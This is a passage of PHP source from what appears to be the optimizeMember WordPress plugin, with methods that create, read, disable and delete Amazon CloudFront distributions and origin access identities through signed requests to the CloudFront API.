															/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
															return array("success" => false, "code" => $cf_get_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon CloudFront Streaming Distro. %s", "s2member-admin", "s2member"), $cf_get_response["message"]));
														/**/
														else /* Else, we use a default error code and message. */
															return array("success" => false, "code" => -95, "message" => _x("Unable to acquire existing Amazon CloudFront Streaming Distro. Connection failed.", "s2member-admin", "s2member"));
													}
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -96, "message" => _x("Unable to clear existing Amazon CloudFront Downloads Distro.", "s2member-admin", "s2member"));
											}
										else if(isset($cf_get_response["code"], $cf_get_response["message"]))
											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_get_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon CloudFront Downloads Distro. %s", "s2member-admin", "s2member"), $cf_get_response["message"]));
										/**/
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -97, "message" => _x("Unable to acquire existing Amazon CloudFront Downloads Distro. Connection failed.", "s2member-admin", "s2member"));
									}
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to auto-configure Amazon CloudFront Distros. Incomplete Amazon CloudFront configuration options. Missing of one: Amazon CloudFront Private Key-Pair-ID, or Private Key file contents.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to auto-configure Amazon S3/CloudFront Distros. Incomplete Amazon S3 configuration options. Missing one of: Amazon S3 Bucket, Access Key, or Secret Key. You must provide optimizeMember with an Amazon S3 configuration before enabling CloudFront.", "s2member-admin", "s2member"));
					}
				/**
				* Acquires an Amazon S3/CloudFront Access Origin Identity.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $access_id Required. An Origin Access ID.
				* @return array Array containing a true `success` and `etag`, `xml` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_get_access_origin_identity($access_id = FALSE)
					{
						if /* Valid parameters? */($access_id && is_string($access_id))
							{
								foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
									if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
										$cfc[$option] = $option_value;
								/**/
								$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_bucket"];
								$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_access_key"];
								$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
								/**/
								$cf_domain = "cloudfront.amazonaws.com";
								$cf_date = gmdate("D, d M Y H:i:s")." GMT";
								$cf_location = "/2010-11-01/origin-access-identity/cloudfront/".$access_id;
								$cf_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_cf_sign($cf_date));
								$cf_args = array("method" => "GET", "redirection" => 0, "headers" => array("Host" => $cf_domain, "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
								/**/
								if(($cf_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && (($cf_response["code"] === 404 && $cf_response["message"]) || ($cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))))
									{
										if($cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))
											return array("success" => true, "code" => null, "message" => null, "etag" => trim($cf_response["headers"]["etag"]), "xml" => trim($cf_response["body"]));
										/**/
										else /* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Existing Amazon CloudFront Origin Access Identity NOT found. %s", "s2member-admin", "s2member"), $cf_response["message"]));
									}
								else if(isset($cf_response["code"], $cf_response["message"]))
									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
									return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_response["message"]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to acquire existing Amazon CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to acquire existing Amazon CloudFront Origin Access Identity. Invalid Access ID.", "s2member-admin", "s2member"));
					}
				/**
				* Deletes an Amazon S3/CloudFront Access Origin Identity.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $access_id Required. An Origin Access ID.
				* @param str $access_id_etag Required. An Origin Access ETag header.
				* @param str $access_id_xml Required. An Origin Access Identity's XML configuration.
				* @return array Array containing a true `success` element on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_del_access_origin_identity($access_id = FALSE, $access_id_etag = FALSE, $access_id_xml = FALSE)
					{
						if($access_id && is_string($access_id) && $access_id_etag && is_string($access_id_etag) && $access_id_xml && is_string($access_id_xml))
							{
								foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
									if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
										$cfc[$option] = $option_value;
								/**/
								$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_bucket"];
								$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_access_key"];
								$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
								/**/
								$cf_domain = "cloudfront.amazonaws.com";
								$cf_date = gmdate("D, d M Y H:i:s")." GMT";
								$cf_location = "/2010-11-01/origin-access-identity/cloudfront/".$access_id;
								$cf_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_cf_sign($cf_date));
								$cf_args = array("method" => "DELETE", "redirection" => 0, "headers" => array("Host" => $cf_domain, "Date" => $cf_date, "If-Match" => $access_id_etag, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
								/**/
								if(($cf_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 204 /* Deleted. */))
									return /* Deleted successfully. */ array("success" => true, "code" => null, "message" => null);
								/**/
								else if(isset($cf_response["code"], $cf_response["message"]))
									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
									return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_response["message"]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to delete existing Amazon CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to delete existing Amazon CloudFront Origin Access Identity. Invalid Access ID, ETag, or XML config.", "s2member-admin", "s2member"));
					}
				/**
				* Creates an Amazon S3/CloudFront Access Origin Identity for all Distros.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @return array Array containing a true `success` and `distros_access_id`, `distros_s3_access_id` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_create_distros_access_origin_identity()
					{
						foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
								$cfc[$option] = $option_value;
						/**/
						$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_bucket"];
						$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_access_key"];
						$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
						/**/
						$cf_domain = "cloudfront.amazonaws.com";
						$cf_date = gmdate("D, d M Y H:i:s")." GMT";
						$cf_location = "/2010-11-01/origin-access-identity/cloudfront";
						$cf_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_cf_sign($cf_date));
						$cf_distros_access_reference = time().".".md5("access".$s3c["bucket"].$s3c["access_key"].$s3c["secret_key"].$cfc["private_key"].$cfc["private_key_id"]);
						$cf_distros_access_xml = '<?xml version="1.0" encoding="UTF-8"?><CloudFrontOriginAccessIdentityConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><CallerReference>'.esc_html($cf_distros_access_reference).'</CallerReference><Comment>'.esc_html(sprintf(_x("Created by optimizeMember, for S3 Bucket: %s.", "s2member-admin", "s2member"), $s3c["bucket"])).'</Comment></CloudFrontOriginAccessIdentityConfig>';
						$cf_args = array("method" => "POST", "redirection" => 0, "body" => $cf_distros_access_xml, "headers" => array("Host" => $cf_domain, "Content-Type" => "application/xml", "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
						/**/
						if(($cf_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 201 /* Created. */))
							{
								if(preg_match("/\<CloudFrontOriginAccessIdentity.*?\>(.+?)\<\/CloudFrontOriginAccessIdentity\>/is", $cf_response["body"], $cf_distros_access_tag) && preg_match("/\<Id\>(.+?)\<\/Id\>/is", $cf_distros_access_tag[1], $cf_distros_access_id_tag) && preg_match("/\<S3CanonicalUserId\>(.+?)\<\/S3CanonicalUserId\>/is", $cf_distros_access_tag[1], $cf_distros_s3_access_id_tag))
									return array("success" => true, "code" => null, "message" => null, "distros_access_id" => trim($cf_distros_access_id_tag[1]), "distros_s3_access_id" => trim($cf_distros_s3_access_id_tag[1]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to create/read Amazon CloudFront Origin Access Identity. Unexpected response.", "s2member-admin", "s2member"));
							}
						else if(isset($cf_response["code"], $cf_response["message"]))
							/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
							return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon CloudFront Origin Access Identity. %s", "s2member-admin", "s2member"), $cf_response["message"]));
						/**/
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to create Amazon CloudFront Origin Access Identity. Connection failed.", "s2member-admin", "s2member"));
					}
				/**
				* Acquires an Amazon S3/CloudFront Distro.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $distro_id Required. A Distro ID.
				* @param str $distro_type Required: `downloads|streaming`.
				* @return array Array containing a true `success` and `etag`, `xml`, `deployed` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_get_distro($distro_id = FALSE, $distro_type = FALSE)
					{
						if($distro_id && is_string($distro_id) && $distro_type && is_string($distro_type) && in_array($distro_type, array("downloads", "streaming")))
							{
								foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
									if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
										$cfc[$option] = $option_value;
								/**/
								$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_bucket"];
								$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_access_key"];
								$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
								/**/
								$cf_domain = "cloudfront.amazonaws.com";
								$cf_date = gmdate("D, d M Y H:i:s")." GMT";
								$cf_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_cf_sign($cf_date));
								$cf_location = ($distro_type === "streaming") ? "/2010-11-01/streaming-distribution/".$distro_id : "/2010-11-01/distribution/".$distro_id;
								$cf_args = array("method" => "GET", "redirection" => 0, "headers" => array("Host" => $cf_domain, "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
								/**/
								if(($cf_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && (($cf_response["code"] === 404 && $cf_response["message"]) || ($cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))))
									{
										if($cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))
											return array("success" => true, "code" => null, "message" => null, "etag" => trim($cf_response["headers"]["etag"]), "xml" => trim($cf_response["body"]), "deployed" => ((stripos($cf_response["body"], "<Status>Deployed</Status>") !== false) ? true : false));
										/**/
										else /* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Existing Amazon CloudFront Distro NOT found. %s", "s2member-admin", "s2member"), $cf_response["message"]));
									}
								else if(isset($cf_response["code"], $cf_response["message"]))
									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
									return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to acquire existing Amazon CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to acquire existing Amazon CloudFront Distro. Invalid Distro ID and/or Distro type.", "s2member-admin", "s2member"));
					}
				/**
				* Disables an Amazon S3/CloudFront Distro.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $distro_id Required. A Distro ID.
				* @param str $distro_id_etag Required. A Distro ETag header.
				* @param str $distro_id_xml Required. A Distro's XML configuration.
				* @return array Array containing a true `success` and `etag`, `xml`, `deployed` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_disable_distro($distro_id = FALSE, $distro_id_etag = FALSE, $distro_id_xml = FALSE)
					{
						if($distro_id && is_string($distro_id) && $distro_id_etag && is_string($distro_id_etag) && $distro_id_xml && is_string($distro_id_xml) && ($distro_id_type = (stripos($distro_id_xml, "<StreamingDistribution") !== false) ? "streaming" : ((stripos($distro_id_xml, "<Distribution") !== false) ? "downloads" : false)) && preg_match("/\<CallerReference\>(.+?)\<\/CallerReference\>/is", $distro_id_xml, $distro_id_reference_tag) && ($distro_id_reference = $distro_id_reference_tag[1]))
							{
								if /* Only if it has NOT already been disabled. We do NOT need to do it again. */(stripos($distro_id_xml, "<Enabled>false</Enabled>") === false)
									{
										if /* Check distro status before we even begin processing. */(stripos($distro_id_xml, "<Status>Deployed</Status>") !== false)
											{
												foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
													if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
														$cfc[$option] = $option_value;
												/**/
												$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_bucket"];
												$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_access_key"];
												$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
												/**/
												$cf_domain = "cloudfront.amazonaws.com";
												$cf_date = gmdate("D, d M Y H:i:s")." GMT";
												$cf_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_cf_sign($cf_date));
												$cf_location = ($distro_id_type === "streaming") ? "/2010-11-01/streaming-distribution/".$distro_id."/config" : "/2010-11-01/distribution/".$distro_id."/config";
												$cf_distro_xml = ($distro_id_type === "streaming") ? '<?xml version="1.0" encoding="UTF-8"?><StreamingDistributionConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><S3Origin><DNSName>'.esc_html($s3c["bucket"]).'.s3.amazonaws.com</DNSName></S3Origin><CallerReference>'.esc_html($distro_id_reference).'</CallerReference><Enabled>false</Enabled><TrustedSigners><Self/></TrustedSigners></StreamingDistributionConfig>' : '<?xml version="1.0" encoding="UTF-8"?><DistributionConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><S3Origin><DNSName>'.esc_html($s3c["bucket"]).'.s3.amazonaws.com</DNSName></S3Origin><CallerReference>'.esc_html($distro_id_reference).'</CallerReference><Enabled>false</Enabled><TrustedSigners><Self/></TrustedSigners></DistributionConfig>';
												$cf_args = array("method" => "PUT", "redirection" => 0, "body" => $cf_distro_xml, "headers" => array("Host" => $cf_domain, "Content-Type" => "application/xml", "Date" => $cf_date, "If-Match" => $distro_id_etag, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
												/**/
												if(($cf_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && $cf_response["code"] === 200 && !empty($cf_response["headers"]["etag"]) && !empty($cf_response["body"]))
													return array("success" => true, "code" => null, "message" => null, "etag" => trim($cf_response["headers"]["etag"]), "xml" => trim($cf_response["body"]), "deployed" => ((stripos($cf_response["body"], "<Status>Deployed</Status>") !== false) ? true : false));
												/**/
												else if(isset($cf_response["code"], $cf_response["message"]))
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to disable existing Amazon CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -97, "message" => _x("Unable to disable existing Amazon CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
											}
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -98, "message" => _x("Existing Amazon CloudFront Distro cannot be disabled at this time. Still in a `pending` state. Please wait 15 minutes, then try again. There is a certain process that optimizeMember must strictly adhere to when re-configuring your Amazon CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run optimizeMember's auto-configuration routine many times, because optimizeMember will likely run into several `pending` challenges, as it works to completely re-configure your Amazon CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
									}
								else /* Else, we use a default error code and message. */
									return array("success" => true, "code" => null, "message" => null, "etag" => $distro_id_etag, "xml" => $distro_id_xml, "deployed" => ((stripos($distro_id_xml, "<Status>Deployed</Status>") !== false) ? true : false));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to disable existing Amazon CloudFront Distro. Invalid Distro ID, ETag, or XML config.", "s2member-admin", "s2member"));
					}
				/**
				* Deletes an Amazon S3/CloudFront Distro.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $distro_id Required. A Distro ID.
				* @param str $distro_id_etag Required. A Distro ETag header.
				* @param str $distro_id_xml Required. A Distro's XML configuration.
				* @return array Array containing a true `success` element on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_del_distro($distro_id = FALSE, $distro_id_etag = FALSE, $distro_id_xml = FALSE)
					{
						if($distro_id && is_string($distro_id) && $distro_id_etag && is_string($distro_id_etag) && $distro_id_xml && is_string($distro_id_xml) && ($distro_id_type = (stripos($distro_id_xml, "<StreamingDistribution") !== false) ? "streaming" : ((stripos($distro_id_xml, "<Distribution") !== false) ? "downloads" : false)) && preg_match("/\<CallerReference\>(.+?)\<\/CallerReference\>/is", $distro_id_xml, $distro_id_reference_tag) && ($distro_id_reference = $distro_id_reference_tag[1]))
							{
								if /* Check distro status before we even begin processing this deletion. */(stripos($distro_id_xml, "<Status>Deployed</Status>") !== false)
									{
										if(($cf_response = c_ws_plugin__optimizemember_files_in::amazon_cf_disable_distro($distro_id, $distro_id_etag, $distro_id_xml)) && $cf_response["success"])
											{
												if(($cf_response = c_ws_plugin__optimizemember_files_in::amazon_cf_get_distro($distro_id, $distro_id_type)) && $cf_response["success"] && $cf_response["deployed"])
													{
														foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
															if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
																$cfc[$option] = $option_value;
														/**/
														$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_bucket"];
														$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_access_key"];
														$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
														/**/
														$cf_domain = "cloudfront.amazonaws.com";
														$cf_date = gmdate("D, d M Y H:i:s")." GMT";
														$cf_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_cf_sign($cf_date));
														$cf_location = ($distro_id_type === "streaming") ? "/2010-11-01/streaming-distribution/".$distro_id : "/2010-11-01/distribution/".$distro_id;
														$cf_args = array("method" => "DELETE", "redirection" => 0, "headers" => array("Host" => $cf_domain, "Date" => $cf_date, "If-Match" => $cf_response["etag"], "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
														/**/
														if(($cf_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 204 /* Deleted. */))
															return /* Deleted successfully. */ array("success" => true, "code" => null, "message" => null);
														/**/
														else if(isset($cf_response["code"], $cf_response["message"]))
															/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
															return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
														/**/
														else /* Else, we use a default error code and message. */
															return array("success" => false, "code" => -94, "message" => _x("Unable to delete existing Amazon CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
													}
												else if(isset($cf_response["success"], $cf_response["deployed"]) && $cf_response["success"] && !$cf_response["deployed"])
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => -95, "message" => _x("Existing Amazon CloudFront Distro cannot be deleted at this time. Still in a `pending` state after having been disabled by optimizeMember. Please wait 15 minutes, then try again. There is a certain process that optimizeMember must strictly adhere to when re-configuring your Amazon CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run optimizeMember's auto-configuration routine many times, because optimizeMember will likely run into several `pending` challenges, as it works to completely re-configure your Amazon CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
												/**/
												else if(isset($cf_response["code"], $cf_response["message"]))
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to check status of existing Amazon CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -96, "message" => _x("Unable to check status of existing Amazon CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
											}
										else if(isset($cf_response["code"], $cf_response["message"]))
											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to disable existing Amazon CloudFront Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
										/**/
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -97, "message" => _x("Unable to disable existing Amazon CloudFront Distro. Connection failed.", "s2member-admin", "s2member"));
									}
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Existing Amazon CloudFront Distro cannot be deleted at this time. Still in a `pending` state. Please wait 15 minutes, then try again. There is a certain process that optimizeMember must strictly adhere to when re-configuring your Amazon CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run optimizeMember's auto-configuration routine many times, because optimizeMember will likely run into several `pending` challenges, as it works to completely re-configure your Amazon CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to delete existing Amazon CloudFront Distro. Invalid Distro ID or ETag.", "s2member-admin", "s2member"));
					}
				/**
				* Creates an Amazon S3/CloudFront Distro.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $distro_type Required: `downloads|streaming`.
				* @return array Array containing a true `success` and `distro_[distro_type]_id`, `distro_[distro_type]_dname` elements on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_create_distro($distro_type = FALSE)
					{
						if($distro_type && is_string($distro_type) && in_array($distro_type, array("downloads", "streaming")))
							{
								foreach($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"] as $option => $option_value)
									if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
										$cfc[$option] = $option_value;
								/**/
								$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_bucket"];
								$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_access_key"];
								$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["amazon_s3_files_secret_key"];
								/**/
								$cf_domain = "cloudfront.amazonaws.com";
								$cf_date = gmdate("D, d M Y H:i:s")." GMT";
								$cf_signature = base64_encode(c_ws_plugin__optimizemember_files_in::amazon_cf_sign($cf_date));
								/**/
								if /* Create a `downloads` Distro? This uses a different XML schema. */($distro_type === "downloads")
									{
										$cf_location = /* Create distro. */ "/2010-11-01/distribution";
										$cf_distro_downloads_reference = time().".".md5("downloads".$s3c["bucket"].$s3c["access_key"].$s3c["secret_key"].$cfc["private_key"].$cfc["private_key_id"].$cfc["distro_downloads_cname"]);
										$cf_distro_downloads_xml = '<?xml version="1.0" encoding="UTF-8"?><DistributionConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><S3Origin><DNSName>'.esc_html($s3c["bucket"]).'.s3.amazonaws.com</DNSName><OriginAccessIdentity>origin-access-identity/cloudfront/'.esc_html($cfc["distros_access_id"]).'</OriginAccessIdentity></S3Origin><CallerReference>'.esc_html($cf_distro_downloads_reference).'</CallerReference>'.(($cfc["distro_downloads_cname"]) ? '<CNAME>'.esc_html($cfc["distro_downloads_cname"]).'</CNAME>' : '').'<Comment>'.esc_html(sprintf(_x("Created by optimizeMember, for S3 Bucket: %s.", "s2member-admin", "s2member"), $s3c["bucket"])).'</Comment><Enabled>true</Enabled><DefaultRootObject>index.html</DefaultRootObject><TrustedSigners><Self/></TrustedSigners></DistributionConfig>';
										$cf_args = array("method" => "POST", "redirection" => 0, "body" => $cf_distro_downloads_xml, "headers" => array("Host" => $cf_domain, "Content-Type" => "application/xml", "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
										/**/
										if(($cf_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 201 /* Created. */))
											{
												if(preg_match("/\<Distribution.*?\>(.+?)\<\/Distribution\>/is", $cf_response["body"], $cf_distro_downloads_tag) && preg_match("/\<Id\>(.+?)\<\/Id\>/is", $cf_distro_downloads_tag[1], $cf_distro_downloads_id_tag) && preg_match("/\<DomainName\>(.+?)\<\/DomainName\>/is", $cf_distro_downloads_tag[1], $cf_distro_downloads_dname_tag))
													return array("success" => true, "code" => null, "message" => null, "distro_downloads_id" => trim($cf_distro_downloads_id_tag[1]), "distro_downloads_dname" => trim($cf_distro_downloads_dname_tag[1]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -97, "message" => _x("Unable to create/read Amazon CloudFront Downloads Distro. Unexpected response.", "s2member-admin", "s2member"));
											}
										else if(isset($cf_response["code"], $cf_response["message"]))
											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
